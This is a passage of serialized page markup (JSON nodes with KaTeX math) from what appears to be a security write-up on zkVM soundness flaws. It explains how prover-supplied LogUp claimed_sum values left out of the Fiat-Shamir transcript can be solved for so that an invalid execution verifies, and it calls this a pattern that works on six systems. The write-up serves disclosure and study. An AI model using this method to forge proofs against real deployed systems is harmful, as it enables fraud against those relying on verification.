",{"type":24,"tag":284,"props":120709,"children":120711},{"className":120710},[2949,2950],[120712],{"type":24,"tag":327,"props":120713,"children":120715},{"className":120714},[2955],[120716],{"type":24,"tag":327,"props":120717,"children":120719},{"className":120718,"ariaHidden":2961},[2960],[120720],{"type":24,"tag":327,"props":120721,"children":120723},{"className":120722},[2966],[120724,120729],{"type":24,"tag":327,"props":120725,"children":120728},{"className":120726,"style":120727},[2971],"height:0.6151em;",[],{"type":24,"tag":327,"props":120730,"children":120732},{"className":120731},[2977,2978],[120733],{"type":29,"value":3134},{"type":29,"value":1406},{"type":24,"tag":179,"props":120736,"children":120737},{},[120738,120740,120765,120767,120792,120794,120819],{"type":29,"value":120739},"Memory table consumes: \"At time ",{"type":24,"tag":284,"props":120741,"children":120743},{"className":120742},[2949,2950],[120744],{"type":24,"tag":327,"props":120745,"children":120747},{"className":120746},[2955],[120748],{"type":24,"tag":327,"props":120749,"children":120751},{"className":120750,"ariaHidden":2961},[2960],[120752],{"type":24,"tag":327,"props":120753,"children":120755},{"className":120754},[2966],[120756,120760],{"type":24,"tag":327,"props":120757,"children":120759},{"className":120758,"style":120727},[2971],[],{"type":24,"tag":327,"props":120761,"children":120763},{"className":120762},[2977,2978],[120764],{"type":29,"value":3134},{"type":29,"value":120766},", address ",{"type":24,"tag":284,"props":120768,"children":120770},{"className":120769},[2949,2950],[120771],{"type":24,"tag":327,"props":120772,"children":120774},{"className":120773},[2955],[120775],{"type":24,"tag":327,"props":120776,"children":120778},{"className":120777,"ariaHidden":2961},[2960],[120779],{"type":24,"tag":327,"props":120780,"children":120782},{"className":120781},[2966],[120783,120787],{"type":24,"tag":327,"props":120784,"children":120786},{"className":120785,"style":117615},[2971],[],{"type":24,"tag":327,"props":120788,"children":120790},{"className":120789},[2977,2978],[120791],{"type":29,"value":57},{"type":29,"value":120793}," contained ",{"type":24,"tag":284,"props":120795,"children":120797},{"className":120796},[2949,2950],[120798],{"type":24,"tag":327,"props":120799,"children":120801},{"className":120800},[2955],[120802],{"type":24,"tag":327,"props":120803,"children":120805},{"className":120804,"ariaHidden":2961},[2960],[120806],{"type":24,"tag":327,"props":120807,"children":120809},{"className":120808},[2966],[120810,120814],{"type":24,"tag":327,"props":120811,"children":120813},{"className":120812,"style":117615},[2971],[],{"type":24,"tag":327,"props":120815,"children":120817},{"className":120816,"style":100260},[2977,2978],[120818],{"type":29,"value":120678},{"type":29,"value":1406},{"type":24,"tag":25,"props":120821,"children":120822},{},[120823],{"type":29,"value":120824},"If everything balances, the execution is consistent.",{"type":24,"tag":25,"props":120826,"children":120827},{},[120828,120833],{"type":24,"tag":188,"props":120829,"children":120830},{},[120831],{"type":29,"value":120832},"The claimed_sum:",{"type":29,"value":120834}," Each component computes its contribution to the LogUp sum:",{"type":24,"tag":25,"props":120836,"children":120837},{},[120838],{"type":24,"tag":284,"props":120839,"children":120841},{"className":120840},[2949,2950],[120842],{"type":24,"tag":327,"props":120843,"children":120845},{"className":120844},[2955],[120846],{"type":24,"tag":327,"props":120847,"children":120849},{"className":120848,"ariaHidden":2961},[2960],[120850,120948,121199],{"type":24,"tag":327,"props":120851,"children":120853},{"className":120852},[2966],[120854,120858,120868,120873,120935,120939,120944],{"type":24,"tag":327,"props":120855,"children":120857},{"className":120856,"style":101187},[2971],[],{"type":24,"tag":327,"props":120859,"children":120861},{"className":120860},[2977,29],[120862],{"type":24,"tag":327,"props":120863,"children":120865},{"className":120864},[2977],[120866],{"type":29,"value":120867},"claimed",{"type":24,"tag":327,"props":120869,"children":120871},{"className":120870,"style":99774},[2977],[120872],{"type":29,"value":10692},{"type":24,"tag":327,"props":120874,"children":120876},{"className":120875},[2977],[120877,120886],{"type":24,"tag":327,"props":120878,"children":120880},{"className":120879},[2977,29],[120881],{"type":24,"tag":327,"props":120882,"children":120884},{"className":120883},[2977],[120885],{"type":29,"value":83359},{"type":24,"tag":327,"props":120887,"children":120889},{"className":120888},[3032],[120890],{"type":24,"tag":327,"props":120891,"children":120893},{"className":120892},[3037,3038],[120894,120924],{"type":24,"tag":327,"props":120895,"children":120897},{"className":120896},[3043],[120898,120919],{"type":24,"tag":327,"props":120899,"children":120901},{"className":120900,"style":100303},[3048],[120902],{"type":24,"tag":327,"props":120903,"children":120905},{"style":120904},"top:-2.55em;margin-right:0.05em;",[120906,120910],{"type":24,"tag":327,"props":120907,"children":120909},{"className":120908,"style":3059},[3058],[],{"type":24,"tag":327,"props":120911,"children":120913},{"className":120912},[3064,3065,3066,3067],[120914],{"type":24,"tag":327,"props":120915,"children":120917},{"className":120916},[2977,2978,3067],[120918],{"type":29,"value":11334},{"type":24,"tag":327,"props":120920,"children":120922},{"className":120921},[3150],[120923],{"type":29,"value":3153},{"type":24,"tag":327,"props":120925,"children":120927},{"className":120926},[3043],[120928],{"type":24,"tag":327,"props":120929,"children":120931},{"className":120930,"style":99857},[3048],[120932],{"type":24,"tag":327,"props":120933,"children":120934},{},[],{"type":24,"tag":327,"props":120936,"children":120938},{"className":120937,"style":2993},[2992],[],{"type":24,"tag":327,"props":120940,"children":120942},{"className":120941},[2998],[120943],{"type":29,"value":384},{"type":24,"tag":327,"props":120945,"children":120947},{"className":120946,"style":2993},[2992],[],{"type":24,"tag":327,"props":120949,"children":120951},{"className":120950},[2966],[120952,120957,121017,121021,121186,121190,121195],{"type":24,"tag":327,"props":120953,"children":120956},{"className":120954,"style":120955},[2971],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":24,"tag":327,"props":120958,"children":120960},{"className":120959},[3018],[120961,120966],{"type":24,"tag":327,"props":120962,"children":120964},{"className":120963,"style":3025},[3018,3023,3024],[120965],{"type":29,"value":115569},{"type":24,"tag":327,"props":120967,"children":120969},{"className":120968},[3032],[120970],{"type":24,"tag":327,"props":120971,"children":120973},{"className":120972},[3037,3038],[120974,121005],{"type":24,"tag":327,"props":120975,"children":120977},{"className":120976},[3043],[120978,121000],{"type":24,"tag":327,"props":120979,"children":120982},{"className":120980,"style":120981},[3048],"height:0.162em;",[120983],{"type":24,"tag":327,"props":120984,"children":120985},{"style":3053},[120986,120990],{"type":24,"tag":327,"props":120987,"children":120989},{"className":120988,"style":3059},[3058],[],{"type":24,"tag":327,"props":120991,"children":120993},{"className":120992},[3064,3065,3066,3067],[120994],{"type":24,"tag":327,"props":120995,"children":120998},{"className":120996,"style":120997},[2977,2978,3067],"margin-right:0.05724em;",[120999],{"type":29,"value":16216},{"type":24,"tag":327,"props":121001,"children":121003},{"className":121002},[3150],[121004],{"type":29,"value":3153},{"type":24,"tag":327,"props":121006,"children":121008},{"className":121007},[3043],[121009],{"type":24,"tag":327,"props":121010,"children":121013},{"className":121011,"style":121012},[3048],"height:0.4358em;",[121014],{"type":24,"tag":327,"props":121015,"children":121016},{},[],{"type":24,"tag":327,"props":121018,"children":121020},{"className":121019,"style":3169},[2992],[],{"type":24,"tag":327,"props":121022,"children":121024},{"className":121023},[2977],[121025,121029,121182],{"type":24,"tag":327,"props":121026,"children":121028},{"className":121027},[3121,120292],[],{"type":24,"tag":327,"props":121030,"children":121032},{"className":121031},[120297],[121033],{"type":24,"tag":327,"props":121034,"children":121036},{"className":121035},[3037,3038],[121037,121170],{"type":24,"tag":327,"props":121038,"children":121040},{"className":121039},[3043],[121041,121165],{"type":24,"tag":327,"props":121042,"children":121044},{"className":121043,"style":120310},[3048],[121045,121134,121145],{"type":24,"tag":327,"props":121046,"children":121047},{"style":120314},[121048,121052],{"type":24,"tag":327,"props":121049,"children":121051},{"className":121050,"style":118945},[3058],[],{"type":24,"tag":327,"props":121053,"children":121055},{"className":121054},[3064,3065,3066,3067],[121056],{"type":24,"tag":327,"props":121057,"children":121059},{"className":121058},[2977,3067],[121060,121065,121070],{"type":24,"tag":327,"props":121061,"children":121063},{"className":121062,"style":120331},[2977,2978,3067],[121064],{"type":29,"value":120334},{"type":24,"tag":327,"props":121066,"children":121068},{"className":121067},[3710,3067],[121069],{"type":29,"value":11647},{"type":24,"tag":327,"props":121071,"children":121073},{"className":121072},[2977,3067],[121074,121083],{"type":24,"tag":327,"props":121075,"children":121077},{"className":121076},[2977,29,3067],[121078],{"type":24,"tag":327,"props":121079,"children":121081},{"className":121080},[2977,3067],[121082],{"type":29,"value":68731},{"type":24,"tag":327,"props":121084,"children":121086},{"className":121085},[3032],[121087],{"type":24,"tag":327,"props":121088,"children":121090},{"className":121089},[3037,3038],[121091,121122],{"type":24,"tag":327,"props":121092,"children":121094},{"className":121093},[3043],[121095,121117],{"type":24,"tag":327,"props":121096,"children":121099},{"className":121097,"style":121098},[3048],"height:0.3281em;",[121100],{"type":24,"tag":327,"props":121101,"children":121103},{"style":121102},"top:-2.357em;margin-right:0.0714em;",[121104,121108],{"type":24,"tag":327,"props":121105,"children":121107},{"className":121106,"style":115634},[3058],[],{"type":24,"tag":327,"props":121109,"children":121111},{"className":121110},[3064,115639,115640,3067],[121112],{"type":24,"tag":327,"props":121113,"children":121115},{"className":121114,"style":120997},[2977,2978,3067],[121116],{"type":29,"value":16216},{"type":24,"tag":327,"props":121118,"children":121120},{"className":121119},[3150],[121121],{"type":29,"value":3153},{"type":24,"tag":327,"props":121123,"children":121125},{"className":121124},[3043],[121126],{"type":24,"tag":327,"props":121127,"children":121130},{"className":121128,"style":121129},[3048],"height:0.2819em;",[121131],{"type":24,"tag":327,"props":121132,"children":121133},{},[],{"type":24,"tag":327,"props":121135,"children":121136},{"style":120347},[121137,121141],{"type":24,"tag":327,"props":121138,"children":121140},{"className":121139,"style":118945},[3058],[],{"type":24,"tag":327,"props":121142,"children":121144},{"className":121143,"style":120357},[120356],[],{"type":24,"tag":327,"props":121146,"children":121147},{"style":120361},[121148,121152],{"type":24,"tag":327,"props":121149,"children":121151},{"className":121150,"style":118945},[3058],[],{"type":24,"tag":327,"props":121153,"children":121155},{"className":121154},[3064,3065,3066,3067],[121156],{"type":24,"tag":327,"props":121157,"children":121159},{"className":121158},[2977,3067],[121160],{"type":24,"tag":327,"props":121161,"children":121163},{"className":121162},[2977,3067],[121164],{"type":29,"value":3238},{"type":24,"tag":327,"props":121166,"children":121168},{"className":121167},[3150],[121169],{"type":29,"value":3153},{"type":24,"tag":327,"props":121171,"children":121173},{"className":121172},[3043],[121174],{"type":24,"tag":327,"props":121175,"children":121178},{"className":121176,"style":121177},[3048],"height:0.5423em;",[121179],{"type":24,"tag":327,"props":121180,"children":121181},{},[],{"type":24,"tag":327,"props":121183,"children":121185},{"className":121184},[3143,120292],[],{"type":24,"tag":327,"props":121187,"children":121189},{"className":121188,"style":3705},[2992],[],{"type":24,"tag":327,"props":121191,"children":121193},{"className":121192},[3710],[121194],{"type":29,"value":11647},{"type":24,"tag":327,"props":121196,"children":121198},{"className":121197,"style":3705},[2992],[],{"type":24,"tag":327,"props":121200,"children":121202},{"className":121201},[2966],[121203,121208,121266,121270],{"type":24,"tag":327,"props":121204,"children":121207},{"className":121205,"style":121206},[2971],"height:1.296em;vertical-align:-0.4509em;",[],{"type":24,"tag":327,"props":121209,"children":121211},{"className":121210},[3018],[121212,121217],{"type":24,"tag":327,"props":121213,"children":121215},{"className":121214,"style":3025},[3018,3023,3024],[121216],{"type":29,"value":115569},{"type":24,"tag":327,"props":121218,"children":121220},{"className":121219},[3032],[121221],{"type":24,"tag":327,"props":121222,"children":121224},{"className":121223},[3037,3038],[121225,121254],{"type":24,"tag":327,"props":121226,"children":121228},{"className":121227},[3043],[121229,121249],{"type":24,"tag":327,"props":121230,"children":121232},{"className":121231,"style":120446},[3048],[121233],{"type":24,"tag":327,"props":121234,"children":121235},{"style":3053},[121236,121240],{"type":24,"tag":327,"props":121237,"children":121239},{"className":121238,"style":3059},[3058],[],{"type":24,"tag":327,"props":121241,"children":121243},{"className":121242},[3064,3065,3066,3067],[121244],{"type":24,"tag":327,"props":121245,"children":121247},{"className":121246,"style":101203},[2977,2978,3067],[121248],{"type":29,"value":95411},{"type":24,"tag":327,"props":121250,"children":121252},{"className":121251},[3150],[121253],{"type":29,"value":3153},{"type":24,"tag":327,"props":121255,"children":121257},{"className":121256},[3043],[121258],{"type":24,"tag":327,"props":121259,"children":121262},{"className":121260,"style":121261},[3048],"height:0.2997em;",[121263],{"type":24,"tag":327,"props":121264,"children":121265},{},[],{"type":24,"tag":327,"props":121267,"children":121269},{"className":121268,"style":3169},[2992],[],{"type":24,"tag":327,"props":121271,"children":121273},{"className":121272},[2977],[121274,121278,121431],{"type":24,"tag":327,"props":121275,"children":121277},{"className":121276},[3121,120292],[],{"type":24,"tag":327,"props":121279,"children":121281},{"className":121280},[120297],[121282],{"type":24,"tag":327,"props":121283,"children":121285},{"className":121284},[3037,3038],[121286,121419],{"type":24,"tag":327,"props":121287,"children":121289},{"className":121288},[3043],[121290,121414],{"type":24,"tag":327,"props":121291,"children":121293},{"className":121292,"style":120310},[3048],[121294,121383,121394],{"type":24,"tag":327,"props":121295,"children":121296},{"style":120314},[121297,121301],{"type":24,"tag":327,"props":121298,"children":121300},{"className":121299,"style":118945},[3058],[],{"type":24,"tag":327,"props":121302,"children":121304},{"className":121303},[3064,3065,3066,3067],[121305],{"type":24,"tag":327,"props":121306,"children":121308},{"className":121307},[2977,3067],[121309,121314,121319],{"type":24,"tag":327,"props":121310,"children":121312},{"className":121311,"style":120331},[2977,2978,3067],[121313],{"type":29,"value":120334},{"type":24,"tag":327,"props":121315,"children":121317},{"className":121316},[3710,3067],[121318],{"type":29,"value":11647},{"type":24,"tag":327,"props":121320,"children":121322},{"className":121321},[2977,3067],[121323,121333],{"type":24,"tag":327,"props":121324,"children":121326},{"className":121325},[2977,29,3067],[121327],{"type":24,"tag":327,"props":121328,"children":121330},{"className":121329},[2977,3067],[121331],{"type":29,"value":121332},"consume",{"type":24,"tag":327,"props":121334,"children":121336},{"className":121335},[3032],[121337],{"type":24,"tag":327,"props":121338,"children":121340},{"className":121339},[3037,3038],[121341,121371],{"type":24,"tag":327,"props":121342,"children":121344},{"className":121343},[3043],[121345,121366],{"type":24,"tag":327,"props":121346,"children":121348},{"className":121347,"style":119106},[3048],[121349],{"type":24,"tag":327,"props":121350,"children":121352},{"style":121351},"top:-2.3488em;margin-right:0.0714em;",[121353,121357],{"type":24,"tag":327,"props":121354,"children":121356},{"className":121355,"style":115634},[3058],[],{"type":24,"tag":327,"props":121358,"children":121360},{"className":121359},[3064,115639,115640,3067],[121361],{"type":24,"tag":327,"props":121362,"children":121364},{"className":121363,"style":101203},[2977,2978,3067],[121365],{"type":29,"value":95411},{"type":24,"tag":327,"props":121367,"children":121369},{"className":121368},[3150],[121370],{"type":29,"value":3153},{"type":24,"tag":327,"props":121372,"children":121374},{"className":121373},[3043],[121375],{"type":24,"tag":327,"props":121376,"children":121379},{"className":121377,"style":121378},[3048],"height:0.1512em;",[121380],{"type":24,"tag":327,"props":121381,"children":121382},{},[],{"type":24,"tag":327,"props":121384,"children":121385},{"style":120347},[121386,121390],{"type":24,"tag":327,"props":121387,"children":121389},{"className":121388,"style":118945},[3058],[],{"type":24,"tag":327,"props":121391,"children":121393},{"className":121392,"style":120357},[120356],[],{"type":24,"tag":327,"props":121395,"children":121396},{"style":120361},[121397,121401],{"type":24,"tag":327,"props":121398,"children":121400},{"className":121399,"style":118945},[3058],[],{"type":24,"tag":327,"props":121402,"children":121404},{"className":121403},[3064,3065,3066,3067],[121405],{"type":24,"tag":327,"props":121406,"children":121408},{"className":121407},[2977,3067],[121409],{"type":24,"tag":327,"props":121410,"children":121412},{"className":121411},[2977,3067],[121413],{"type":29,"value":3238},{"type":24,"tag":327,"props":121415,"children":121417},{"className":121416},[3150],[121418],{"type":29,"value":3153},{"type":24,"tag":327,"props":121420,"children":121422},{"className":121421},[3043],[121423],{"type":24,"tag":327,"props":121424,"children":121427},{"className":121425,"style":121426},[3048],"height:0.4509em;",[121428],{"type":24,"tag":327,"props":121429,"children":121430},{},[],{"type":24,"tag":327,"props":121432,"children":121434},{"className":121433},[3143,120292],[],{"type":24,"tag":25,"props":121436,"children":121437},{},[121438,121440,121622],{"type":29,"value":121439},"The global check: ",{"type":24,"tag":284,"props":121441,"children":121443},{"className":121442},[2949,2950],[121444],{"type":24,"tag":327,"props":121445,"children":121447},{"className":121446},[2955],[121448],{"type":24,"tag":327,"props":121449,"children":121451},{"className":121450,"ariaHidden":2961},[2960],[121452,121609],{"type":24,"tag":327,"props":121453,"children":121455},{"className":121454},[2966],[121456,121460,121517,121521,121530,121535,121596,121600,121605],{"type":24,"tag":327,"props":121457,"children":121459},{"className":121458,"style":99716},[2971],[],{"type":24,"tag":327,"props":121461,"children":121463},{"className":121462},[3018],[121464,121469],{"type":24,"tag":327,"props":121465,"children":121467},{"className":121466,"style":3025},[3018,3023,3024],[121468],{"type":29,"value":115569},{"type":24,"tag":327,"props":121470,"children":121472},{"className":121471},[3032],[121473],{"type":24,"tag":327,"props":121474,"children":121476},{"className":121475},[3037,3038],[121477,121506],{"type":24,"tag":327,"props":121478,"children":121480},{"className":121479},[3043],[121481,121501],{"type":24,"tag":327,"props":121482,"children":121484},{"className":121483,"style":120981},[3048],[121485],{"type":24,"tag":327,"props":121486,"children":121487},{"style":3053},[121488,121492],{"type":24,"tag":327,"props":121489,"children":121491},{"className":121490,"style":3059},[3058],[],{"type":24,"tag":327,"props":121493,"children":121495},{"className":121494},[3064,3065,3066,3067],[121496],{"type":24,"tag":327,"props":121497,"children":121499},{"className":121498},[2977,2978,3067],[121500],{"type":29,"value":11334},{"type":24,"tag":327,"props":121502,"children":121504},{"className":121503},[3150],[121505],{"type":29,"value":3153},{"type":24,"tag":327,"props":121507,"children":121509},{"className":121508},[3043],[121510],{"type":24,"tag":327,"props":121511,"children":121513},{"className":121512,"style":121261},[3048],[121514],{"type":24,"tag":327,"props":121515,"children":121516},{},[],{"type":24,"tag":327,"props":121518,"children":121520},{"className":121519,"style":3169},[2992],[],{"type":24,"tag":327,"props":121522,"children":121524},{"className":121523},[2977,29],[121525],{"type":24,"tag":327,"props":121526,"children":121528},{"className":121527},[2977],[121529],{"type":29,"value":120867},{"type":24,"tag":327,"props":121531,"children":121533},{"className":121532,"style":99774},[2977],[121534],{"type":29,"value":10692},{"type":24,"tag":327,"props":121536,"children":121538},{"className":121537},[2977],[121539,121548],{"type":24,"tag":327,"props":121540,"children":121542},{"className":121541},[2977,29],[121543],{"type":24,"tag":327,"props":121544,"children":121546},{"className":121545},[2977],[121547],{"type":29,"value":83359},{"type":24,"tag":327,"props":121549,"children":121551},{"className":121550},[3032],[121552],{"type":24,"tag":327,"props":121553,"children":121555},{"className":121554},[3037,3038],[121556,121585],{"type":24,"tag":327,"props":121557,"children":121559},{"className":121558},[3043],[121560,121580],{"type":24,"tag":327,"props":121561,"children":121563},{"className":121562,"style":100303},[3048],[121564],{"type":24,"tag":327,"props":121565,"children":121566},{"style":120904},[121567,121571],{"type":24,"tag":327,"props":121568,"children":121570},{"className":121569,"style":3059},[3058],[],{"type":24,"tag":327,"props":121572,"children":121574},{"className":121573},[3064,3065,3066,3067],[121575],{"type":24,"tag":327,"props":121576,"children":121578},{"className":121577},[2977,2978,3067],[121579],{"type":29,"value":11334},{"type":24,"tag":327,"props":121581,"children":121583},{"className":121582},[3150],[121584],{"type":29,"value":3153},{"type":24,"tag":327,"props":121586,"children":121588},{"className":121587},[3043],[121589],{"type":24,"tag":327,"props":121590,"children":121592},{"className":121591,"style":99857},[3048],[121593],{"type":24,"tag":327,"props":121594,"children":121595},{},[],{"type":24,"tag":327,"props":121597,"children":121599},{"className":121598,"style":2993},[2992],[],{"type":24,"tag":327,"props":121601,"children":121603},{"className":121602},[2998],[121604],{"type":29,"value":384},{"type":24,"tag":327,"props":121606,"children":121608},{"className":121607,"style":2993},[2992],[],{"type":24,"tag":327,"props":121610,"children":121612},{"className":121611},[2966],[121613,121617],{"type":24,"tag":327,"props":121614,"children":121616},{"className":121615,"style":100805},[2971],[],{"type":24,"tag":327,"props":121618,"children":121620},{"className":121619},[2977],[121621],{"type":29,"value":2988},{"type":29,"value":66},{"type":24,"tag":25,"props":121624,"children":121625},{},[121626,121631,121633,121639],{"type":24,"tag":188,"props":121627,"children":121628},{},[121629],{"type":29,"value":121630},"Why this is vulnerable:",{"type":29,"value":121632}," The ",{"type":24,"tag":284,"props":121634,"children":121636},{"className":121635},[],[121637],{"type":29,"value":121638},"claimed_sum",{"type":29,"value":121640}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":24,"tag":68,"props":121642,"children":121643},{},[],{"type":24,"tag":228,"props":121645,"children":121647},{"id":121646},"the-universal-attack-pattern",[121648],{"type":29,"value":121649},"The Universal Attack Pattern",{"type":24,"tag":25,"props":121651,"children":121652},{},[121653],{"type":29,"value":121654},"Now we can describe the attack pattern that works on all six systems:",{"type":24,"tag":25,"props":121656,"children":121657},{},[121658],{"type":24,"tag":11511,"props":121659,"children":121662},{"alt":121660,"src":121661},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":24,"tag":25,"props":121664,"children":121665},{},[121666,121668,121693],{"type":29,"value":121667},"When a value ",{"type":24,"tag":284,"props":121669,"children":121671},{"className":121670},[2949,2950],[121672],{"type":24,"tag":327,"props":121673,"children":121675},{"className":121674},[2955],[121676],{"type":24,"tag":327,"props":121677,"children":121679},{"className":121678,"ariaHidden":2961},[2960],[121680],{"type":24,"tag":327,"props":121681,"children":121683},{"className":121682},[2966],[121684,121688],{"type":24,"tag":327,"props":121685,"children":121687},{"className":121686,"style":2972},[2971],[],{"type":24,"tag":327,"props":121689,"children":121691},{"className":121690,"style":114972},[2977,2978],[121692],{"type":29,"value":115296},{"type":29,"value":121694}," isn't transcript-bound:",{"type":24,"tag":175,"props":121696,"children":121697},{},[121698,121729,121806,121951],{"type":24,"tag":179,"props":121699,"children":121700},{},[121701,121703,121728],{"type":29,"value":121702},"Challenges are fixed (independent of ",{"type":24,"tag":284,"props":121704,"children":121706},{"className":121705},[2949,2950],[121707],{"type":24,"tag":327,"props":121708,"children":121710},{"className":121709},[2955],[121711],{"type":24,"tag":327,"props":121712,"children":121714},{"className":121713,"ariaHidden":2961},[2960],[121715],{"type":24,"tag":327,"props":121716,"children":121718},{"className":121717},[2966],[121719,121723],{"type":24,"tag":327,"props":121720,"children":121722},{"className":121721,"style":2972},[2971],[],{"type":24,"tag":327,"props":121724,"children":121726},{"className":121725,"style":114972},[2977,2978],[121727],{"type":29,"value":115296},{"type":29,"value":3146},{"type":24,"tag":179,"props":121730,"children":121731},{},[121732,121734],{"type":29,"value":121733},"The verification equation has form: ",{"type":24,"tag":284,"props":121735,"children":121737},{"className":121736},[2949,2950],[121738],{"type":24,"tag":327,"props":121739,"children":121741},{"className":121740},[2955],[121742],{"type":24,"tag":327,"props":121743,"children":121745},{"className":121744,"ariaHidden":2961},[2960],[121746,121787],{"type":24,"tag":327,"props":121747,"children":121749},{"className":121748},[2966],[121750,121754,121759,121764,121769,121774,121778,121783],{"type":24,"tag":327,"props":121751,"children":121753},{"className":121752,"style":3685},[2971],[],{"type":24,"tag":327,"props":121755,"children":121757},{"className":121756,"style":102128},[2977,2978],[121758],{"type":29,"value":39796},{"type":24,"tag":327,"props":121760,"children":121762},{"className":121761},[3121],[121763],{"type":29,"value":349},{"type":24,"tag":327,"props":121765,"children":121767},{"className":121766,"style":114972},[2977,2978],[121768],{"type":29,"value":115296},{"type":24,"tag":327,"props":121770,"children":121772},{"className":121771},[3143],[121773],{"type":29,"value":3146},{"type":24,"tag":327,"props":121775,"children":121777},{"className":121776,"style":2993},[2992],[],{"type":24,"tag":327,"props":121779,"children":121781},{"className":121780},[2998],[121782],{"type":29,"value":384},{"type":24,"tag":327,"props":121784,"children":121786},{"className":121785,"style":2993},[2992],[],{"type":24,"tag":327,"props":121788,"children":121790},{"className":121789},[2966],[121791,121796],{"type":24,"tag":327,"props":121792,"children":121795},{"className":121793,"style":121794},[2971],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":24,"tag":327,"props":121797,"children":121799},{"className":121798},[2977,29],[121800],{"type":24,"tag":327,"props":121801,"children":121803},{"className":121802},[2977],[121804],{"type":29,"value":121805},"target",{"type":24,"tag":179,"props":121807,"children":121808},{},[121809,121810,121836,121838],{"type":29,"value":15042},{"type":24,"tag":284,"props":121811,"children":121813},{"className":121812},[2949,2950],[121814],{"type":24,"tag":327,"props":121815,"children":121817},{"className":121816},[2955],[121818],{"type":24,"tag":327,"props":121819,"children":121821},{"className":121820,"ariaHidden":2961},[2960],[121822],{"type":24,"tag":327,"props":121823,"children":121825},{"className":121824},[2966],[121826,121831],{"type":24,"tag":327,"props":121827,"children":121830},{"className":121828,"style":121829},[2971],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":24,"tag":327,"props":121832,"children":121834},{"className":121833,"style":102128},[2977,2978],[121835],{"type":29,"value":39796},{"type":29,"value":121837}," is linear: ",{"type":24,"tag":284,"props":121839,"children":121841},{"className":121840},[2949,2950],[121842],{"type":24,"tag":327,"props":121843,"children":121845},{"className":121844},[2955],[121846],{"type":24,"tag":327,"props":121847,"children":121849},{"className":121848,"ariaHidden":2961},[2960],[121850,121879,121906,121934],{"type":24,"tag":327,"props":121851,"children":121853},{"className":121852},[2966],[121854,121859,121866,121870,121875],{"type":24,"tag":327,"props":121855,"children":121858},{"className":121856,"style":121857},[2971],"height:0.4445em;",[],{"type":24,"tag":327,"props":121860,"children":121863},{"className":121861,"style":121862},[2977,2978],"margin-right:0.0037em;",[121864],{"type":29,"value":121865},"α",{"type":24,"tag":327,"props":121867,"children":121869},{"className":121868,"style":3705},[2992],[],{"type":24,"tag":327,"props":121871,"children":121873},{"className":121872},[3710],[121874],{"type":29,"value":118036},{"type":24,"tag":327,"props":121876,"children":121878},{"className":121877,"style":3705},[2992],[],{"type":24,"tag":327,"props":121880,"children":121882},{"className":121881},[2966],[121883,121888,121893,121897,121902],{"type":24,"tag":327,"props":121884,"children":121887},{"className":121885,"style":121886},[2971],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":24,"tag":327,"props":121889,"children":121891},{"className":121890,"style":114972},[2977,2978],[121892],{"type":29,"value":115296},{"type":24,"tag":327,"props":121894,"children":121896},{"className":121895,"style":3705},[2992],[],{"type":24,"tag":327,"props":121898,"children":121900},{"className":121899},[3710],[121901],{"type":29,"value":394},{"type":24,"tag":327,"props":121903,"children":121905},{"className":121904,"style":3705},[2992],[],{"type":24,"tag":327,"props":121907,"children":121909},{"className":121908},[2966],[121910,121914,121921,121925,121930],{"type":24,"tag":327,"props":121911,"children":121913},{"className":121912,"style":121829},[2971],[],{"type":24,"tag":327,"props":121915,"children":121918},{"className":121916,"style":121917},[2977,2978],"margin-right:0.05278em;",[121919],{"type":29,"value":121920},"β",{"type":24,"tag":327,"props":121922,"children":121924},{"className":121923,"style":2993},[2992],[],{"type":24,"tag":327,"props":121926,"children":121928},{"className":121927},[2998],[121929],{"type":29,"value":384},{"type":24,"tag":327,"props":121931,"children":121933},{"className":121932,"style":2993},[2992],[],{"type":24,"tag":327,"props":121935,"children":121937},{"className":121936},[2966],[121938,121942],{"type":24,"tag":327,"props":121939,"children":121941},{"className":121940,"style":121794},[2971],[],{"type":24,"tag":327,"props":121943,"children":121945},{"className":121944},[2977,29],[121946],{"type":24,"tag":327,"props":121947,"children":121949},{"className":121948},[2977],[121950],{"type":29,"value":121805},{"type":24,"tag":179,"props":121952,"children":121953},{},[121954,121956],{"type":29,"value":121955},"Solve: ",{"type":24,"tag":284,"props":121957,"children":121959},{"className":121958},[2949,2950],[121960],{"type":24,"tag":327,"props":121961,"children":121963},{"className":121962},[2955],[121964],{"type":24,"tag":327,"props":121965,"children":121967},{"className":121966,"ariaHidden":2961},[2960],[121968,121994,122029],{"type":24,"tag":327,"props":121969,"children":121971},{"className":121970},[2966],[121972,121976,121981,121985,121990],{"type":24,"tag":327,"props":121973,"children":121975},{"className":121974,"style":2972},[2971],[],{"type":24,"tag":327,"props":121977,"children":121979},{"className":121978,"style":114972},[2977,2978],[121980],{"type":29,"value":115296},{"type":24,"tag":327,"props":121982,"children":121984},{"className":121983,"style":2993},[2992],[],{"type":24,"tag":327,"props":121986,"children":121988},{"className":121987},[2998],[121989],{"type":29,"value":384},{"type":24,"tag":327,"props":121991,"children":121993},{"className":121992,"style":2993},[2992],[],{"type":24,"tag":327,"props":121995,"children":121997},{"className":121996},[2966],[121998,122002,122007,122016,122020,122025],{"type":24,"tag":327,"props":121999,"children":122001},{"className":122000,"style":3685},[2971],[],{"type":24,"tag":327,"props":122003,"children":122005},{"className":122004},[3121],[122006],{"type":29,"value":349},{"type":24,"tag":327,"props":122008,"children":122010},{"className":122009},[2977,29],[122011],{"type":24,"tag":327,"props":122012,"children":122014},{"className":122013},[2977],[122015],{"type":29,"value":121805},{"type":24,"tag":327,"props":122017,"children":122019},{"className":122018,"style":3705},[2992],[],{"type":24,"tag":327,"props":122021,"children":122023},{"className":122022},[3710],[122024],{"type":29,"value":11647},{"type":24,"tag":327,"props":122026,"children":122028},{"className":122027,"style":3705},[2992],[],{"type":24,"tag":327,"props":122030,"children":122032},{"className":122031},[2966],[122033,122037,122042,122047,122052],{"type":24,"tag":327,"props":122034,"children":122036},{"className":122035,"style":3685},[2971],[],{"type":24,"tag":327,"props":122038,"children":122040},{"className":122039,"style":121917},[2977,2978],[122041],{"type":29,"value":121920},{"type":24,"tag":327,"props":122043,"children":122045},{"className":122044},[3143],[122046],{"type":29,"value":3146},{"type":24,"tag":327,"props":122048,"children":122050},{"className":122049},[2977],[122051],{"type":29,"value":2899},{"type":24,"tag":327,"props":122053,"children":122055},{"className":122054,"style":121862},[2977,2978],[122056],{"type":29,"value":121865},{"type":24,"t